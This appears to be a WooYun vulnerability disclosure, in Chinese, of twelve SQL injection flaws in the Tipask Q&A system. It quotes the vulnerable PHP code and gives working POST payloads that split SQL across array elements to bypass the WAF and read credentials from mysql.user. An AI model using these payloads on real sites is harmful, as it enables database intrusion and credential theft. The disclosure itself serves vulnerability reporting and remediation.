当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(31) 关注此漏洞

缺陷编号: WooYun-2015-97791

漏洞标题: Tipask问答系统12个注射打包

相关厂商: cncert国家互联网应急中心

漏洞作者: loopx9认证白帽子

提交时间: 2015-02-22 08:31

公开时间: 2015-05-29 17:34

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php+数字类型注射 php源码审核 sql注射漏洞利用技巧

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-22: 细节已通知厂商并且等待厂商处理中
2015-02-28: 厂商已经确认,细节仅向厂商公开
2015-03-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-04-24: 细节向核心白帽子及相关领域专家公开
2015-05-04: 细节向普通白帽子公开
2015-05-14: 细节向实习白帽子公开
2015-05-29: 细节向公众公开

简要描述:

参加某期众测的时候,厂商使用了这套系统,就下载下来看了看,发现注入一大堆。

详细说明:

由于程序后端sql语句很多地方没有使用单引号将参数括起来,这样对用户输入的检查一旦有所疏漏就容易造成sql注入漏洞。



注入点1:

control/question.php:

code 区域
function onanswer() {
//只允许专家回答问题
if (isset($this->setting['allow_expert']) && $this->setting['allow_expert'] && !$this->user['expert']) {
$this->message('站点已设置为只允许专家回答问题,如有疑问请联系站长.');
}
$qid = $this->post['qid']; //$_POST['qid'] 传入,注入点
$question = $_ENV['question']->get($qid);
if (!$question) {
$this->message('提交回答失败,问题不存在!');
}
if ($this->user['uid'] == $question['authorid']) {
$this->message('提交回答失败,不能自问自答!', 'question/view/' . $qid);
}
$this->setting['code_ask'] && $this->checkcode();
$already = $_ENV['question']->already($qid, $this->user['uid']); //跟进already函数



model/question.class.php:

code 区域
function already($qid, $uid) {
$already = $this->db->fetch_first("SELECT qid,authorid FROM `" . DB_TABLEPRE . "answer` WHERE `qid` =$qid and authorid=$uid");//qid没引号
return is_array($already);
}





注入点2:

control/category.php:

code 区域
function onview() {
$this->load("expert");
$cid = intval($this->get[2])?$this->get[2]:'all'; //传入参数,注入点
$status = isset($this->get[3]) ? $this->get[3] : 'all';
@$page = max(1, intval($this->get[4]));
$pagesize = $this->setting['list_default'];
$startindex = ($page - 1) * $pagesize;
if ($cid != 'all') {
$category = $this->category[$cid];
$navtitle = $category['name'];
$cfield = 'cid' . $category['grade'];
} else {
$category = $this->category;
$navtitle = '全部分类';
$cfield = '';
$category['pid'] = 0;
}
$rownum = $_ENV['question']->rownum_by_cfield_cvalue_status($cfield, $cid, $status);
$questionlist = $_ENV['question']->list_by_cfield_cvalue_status($cfield, $cid, $status, $startindex, $pagesize);
$departstr = page($rownum, $pagesize, $page, "category/view/$cid/$status");





跟进rownum_by_cfield_cvalue_status函数:

model/question.class.php:

code 区域
function rownum_by_cfield_cvalue_status($cfield = 'cid1', $cvalue = 0, $status = 0) {
$condition = " 1=1 ";
($cfield && $cvalue != 'all') && $condition.=" AND $cfield=$cvalue "; //第二个参数进入sql语句且没有引号保护
isset($this->statustable[$status]) && $condition.=$this->statustable[$status];
return $this->db->fetch_total('question', $condition);
}





注入点3:

control/favorite.php:

code 区域
function ondelete() {
if (isset($this->post['submit'])) {
$ids = $this->post['id']; //post传入,注入点
$_ENV['favorite']->remove($ids); //跟进remove函数
$this->message("收藏删除成功!", 'favorite/default');
}
}



model/favorite.class.php:

code 区域
function remove($ids) {
if (is_array($ids)) {
$ids = implode(",", $ids);
}
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "favorite` WHERE `id` IN($ids)"); //无引号保护
}





注入点4:

control/gift.php:

code 区域
function onadd() {
if(isset($this->post['realname'])) {
$realname = $this->post['realname'];
$email = $this->post['email'];
$phone = $this->post['phone'];
$addr = $this->post['addr'];
$postcode = $this->post['postcode'];
$qq = $this->post['qq'];
$notes = $this->post['notes'];
$gid = $this->post['gid']; //post传入,注入点
$param = array();
...
$_ENV['user']->update_gift($this->user['uid'],$realname,$email,$phone,$qq);
$_ENV['gift']->addlog($this->user['uid'],$gid,$this->user['username'],$realname,$this->user['email'],$phone,$addr,$postcode,$gift['title'],$qq,$notes,$gift['credit']);//跟进addlog函数
}



model/gift.class.php:

code 区域
function addlog($uid, $gid, $username, $realname, $email, $phone, $address, $postcode, $giftname, $qq, $notes, $credit) {

$this->db->query("INSERT INTO " . DB_TABLEPRE . "giftlog SET `uid`=$uid,`gid`=$gid,`notes`='$notes',`email`='$email',`qq`='$qq',`phone`='$phone',`postcode`='$postcode',`address`='$address',`username`='$username',`realname`='$realname',`giftname`='$giftname',`credit`=$credit,`time`=" . $this->base->time);
}
//$gid没有引号保护





注入点5:

control/inform.php:

code 区域
function onadd() {
empty($this->post['informkind']) && $this->message('请选择举报原因,谢谢!','BACK');
$inform = $_ENV['inform']->get($this->post['qid']); //注入点,跟进get函数
...



model/inform.class.php:

code 区域
function get($qid) {
return $this->db->fetch_first("SELECT * FROM ".DB_TABLEPRE."inform WHERE qid=$qid"); //还是没有引号保护
}





注入点6:

control/message.php:

code 区域
function onremove() {
if (isset($this->post['submit'])) {
$inbox = $this->post['messageid']['inbox']; //注入点
$outbox = $this->post['messageid']['outbox'];//注入点
if ($inbox)
$_ENV['message']->remove("inbox", $inbox);

if ($outbox)
$_ENV['message']->remove("outbox", $outbox);

$this->message("消息删除成功!", get_url_source());
}
}



model/message.class.php:

没引号保护

code 区域
function remove($type, $msgids) {
$messageid = ($msgids && is_array($msgids)) ? implode(",", $msgids) : $msgids;
if ('inbox' == $type) {
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)");
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)");
$this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)");
} else {
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)");
$this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)");
}
}





注入点7:

control/rss.php:

code 区域
function oncategory() {
$cid=$this->get[2]; //传入,注入点
$status=isset($this->get[3])?$this->get[3]:'all';
$category=$_ENV['category']->get($cid);
$cfield='cid'.$category['grade'];
$questionlist=$_ENV['question']->list_by_cfield_cvalue_status($cfield,$cid,$status,0,20);
$this->writerss($questionlist,'分类'.$category['name'].$this->statusarray[$status].'问题');
}



跟进list_by_cfield_cvalue_status函数:

model/question.class.php:

code 区域
function list_by_cfield_cvalue_status($cfield = 'cid1', $cvalue = 0, $status = 0, $start = 0, $limit = 10) {
$questionlist = array();
$sql = "SELECT * FROM " . DB_TABLEPRE . "question WHERE 1=1 ";
($cfield && $cvalue != 'all') && ($sql.=" AND $cfield=$cvalue "); //没引号
isset($this->ordertable[$status]) && $sql.=$this->ordertable[$status];
$sql.=" LIMIT $start,$limit";
$query = $this->db->query($sql);
while ($question = $this->db->fetch_array($query)) {
$question['category_name'] = $this->base->category[$question['cid']]['name'];
$question['format_time'] = tdate($question['time']);
$question['avatar'] = get_avatar_dir($question['authorid']);
$question['url'] = url('question/view/' . $question['id'], $question['url']);
$questionlist[] = $question;
}
return $questionlist;
}





注入点8:

control/question.php:

code 区域
function onajaxgood() {
$qid = $this->get[2]; //传入,注入点
$tgood = tcookie('good_' . $qid);
!empty($tgood) && exit('-1');
$_ENV['question']->update_goods($qid);//跟进update_goods函数
tcookie('good_' . $qid, $qid);
exit('1');



}

model/question.class.php:

code 区域
function update_status($qid, $status = 9) {
$this->db->query("UPDATE `" . DB_TABLEPRE . "question` set status=$status WHERE `id` = $qid");//没引号
}





注入点9:

control/question.php:

code 区域
function onsupply() {
$qid = $this->get[2] ? $this->get[2] : $this->post['qid'];//注入点
...
$_ENV['question']->add_supply($qid, $question['supply'], $content, $status); //跟进add_supply函数
$viewurl = urlmap('question/view/' . $qid, 2);
if (0 == $status) {
$this->message('补充问题成功!为了确保问答的质量,我们会对您的提问内容进行审核。请耐心等待......', 'BACK');
} else {
$this->message('补充问题成功!', $viewurl);
}
}
include template("supply");
}





model/question.class.php:

code 区域
function add_supply($qid, $supply, $content, $status = 1) {
$this->db->query("INSERT " . DB_TABLEPRE . "question_supply(`id`,`qid`,`content`,`time`) VALUES (null,$qid,'$content',{$this->base->time})"); //qid没引号
}





注入点10:

control/question.php:

code 区域
function oneditanswer() {
$navtitle = '修改回答';
$aid = $this->get[2] ? $this->get[2] : $this->post['aid'];
...

$_ENV['answer']->update_content($aid, $content, $status); //跟进update_content函数

if (0 == $status) {
$this->message('修改回答成功!为了确保问答的质量,我们会对您的回答内容进行审核。请耐心等待......', $viewurl);
} else {
$this->message('修改回答成功!', $viewurl);
}
}
include template("editanswer");
}



model/question.class.php:

code 区域
function update_content($qid, $title, $content) {
$this->db->query("UPDATE `" . DB_TABLEPRE . "question` SET `title`='$title',`description`='$content' WHERE `id`=$qid"); //没引号
$this->db->query("UPDATE `" . DB_TABLEPRE . "answer` SET `title`='$title' WHERE `qid`=$qid");
if ($this->base->setting['xunsearch_open']) {
$question = array();
$question['id'] = $qid;
$question['title'] = $title;
$question['description'] = $content;
$doc = new XSDocument;
$doc->setFields($question);
$this->index->update($doc);
}
}





注入点11:

control/question.php:

code 区域
function onsearch() {
$qstatus = $status = $this->get[3] ? $this->get[3] : 1; //参数传入,注入点
(1 == $status) && ($qstatus = "1,2,6,9");
(2 == $status) && ($qstatus = "2,6");
//$status 不为1和2,$qstatus 就不会被赋值
...
$rownum = $_ENV['question']->rownum_by_tag($tag, $qstatus); //rownum_by_tag函数没引号
$questionlist = $_ENV['question']->list_by_tag($tag, $qstatus, $startindex, $pagesize);//list_by_tag也没引号
} else {
$questionlist = $_ENV['question']->search_title($word, $qstatus, 0, $startindex, $pagesize);//search_title没引号
$rownum = $_ENV['question']->search_title_num($word, $qstatus);//search_title_num没引号
}
}



model/question.class.php:

code 区域
function rownum_by_tag($name, $status = '1,2,6') {
$query = $this->db->query("SELECT * FROM `" . DB_TABLEPRE . "question` AS q," . DB_TABLEPRE . "question_tag AS t WHERE q.id=t.qid AND t.name='$name' AND q.status IN ($status) ORDER BY q.answers DESC"); //status没引号保护
return $this->db->num_rows($query);
}





注入点12:control/question.php:

code 区域
function onmovecategory() {
if (intval($this->post['category'])) {
$cid = intval($this->post['category']);
$cid1 = 0;
$cid2 = 0;
$cid3 = 0;
$qid = $this->post['qid']; //post传入,注入点
$viewurl = urlmap('question/view/' . $qid, 2);
$category = $this->cache->load('category');
if ($category[$cid]['grade'] == 1) {
$cid1 = $cid;
} else if ($category[$cid]['grade'] == 2) {
$cid2 = $cid;
$cid1 = $category[$cid]['pid'];
} else if ($category[$cid]['grade'] == 3) {
$cid3 = $cid;
$cid2 = $category[$cid]['pid'];
$cid1 = $category[$cid2]['pid'];
} else {
$this->message('分类不存在,请更下缓存!', $viewurl);
}
$_ENV['question']->update_category($qid, $cid, $cid1, $cid2, $cid3); //跟进update_category函数
$this->message('问题分类修改成功!', $viewurl);
}
}



model/question.class.php:

code 区域
function update_category($qids, $cid, $cid1, $cid2, $cid3) { //第一个参数没引号
$this->db->query("UPDATE `" . DB_TABLEPRE . "question` SET `cid`=$cid,`cid1`=$cid1,`cid2`=$cid2,`cid3`=$cid3 WHERE `id`in ($qids)");
if ($this->base->setting['xunsearch_open']) {
foreach ($qids as $qid) {
$question = array();
$question['id'] = $qid;
$question['cid'] = $cid;
$question['cid1'] = $cid1;
$question['cid2'] = $cid2;
$question['cid3'] = $cid3;
$doc = new XSDocument;
$doc->setFields($question);
$this->index->update($doc);
}
}
}

漏洞证明:

程序本身有WAF,不好绕。注入点3、6可以传入数组,之后又将数组合并为字符串带入sql语句,可以利用这个来bypass WAF.

注入点3:(需要登录)

code 区域
http://localhost/tipask/index.php?favorite/delete.html
post数据:
submit=1&id[]=select 123/*&id[]=*/from mysql.user



sql日志:

1.png



注入点6:(需要登录)

code 区域
http://localhost/tipask/index.php?message/remove.html
post数据:
submit=1&messageid[inbox][]=select 123/*&messageid[inbox][]=*/from mysql.user



sql日志:

2.png





官网**.**.**.**测试:

code 区域
select concat(user,0x3a,password) from mysql.user limit 0,1:



mysql.png

修复方案:

规范sql书写;

严格对用户输入进行检查。

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-02-28 17:32

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-02-20 16:07 | mango ( 核心白帽子 | Rank:2066 漏洞数:303 | 解决问题的第一步,是要承认问题的存在。)
    0

    丧心病狂啊!!!

  2. 2015-03-04 13:27 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)
    0

    丧心病狂啊!!!

  3. 2015-03-04 18:05 | 明月影 ( 路人 | Rank:12 漏洞数:8 )
    0

    丧心病狂啊!!!

  4. 2015-05-29 19:22 | 牛 小 帅 ( 普通白帽子 | Rank:1470 漏洞数:351 | 1.乌云最帅的男人 ...)
    0

    看不懂

  5. 2015-05-29 19:52 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)
    0

    洞主,给了3$ 给了多少

  6. 2015-05-29 20:08 | loopx9 认证白帽子 ( 普通白帽子 | Rank:789 漏洞数:80 | ..)
    0

    12*200=2400.

  7. 2015-06-04 10:14 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)
    0

    丧心病狂啊!!!

登录后才能发表评论,请先 登录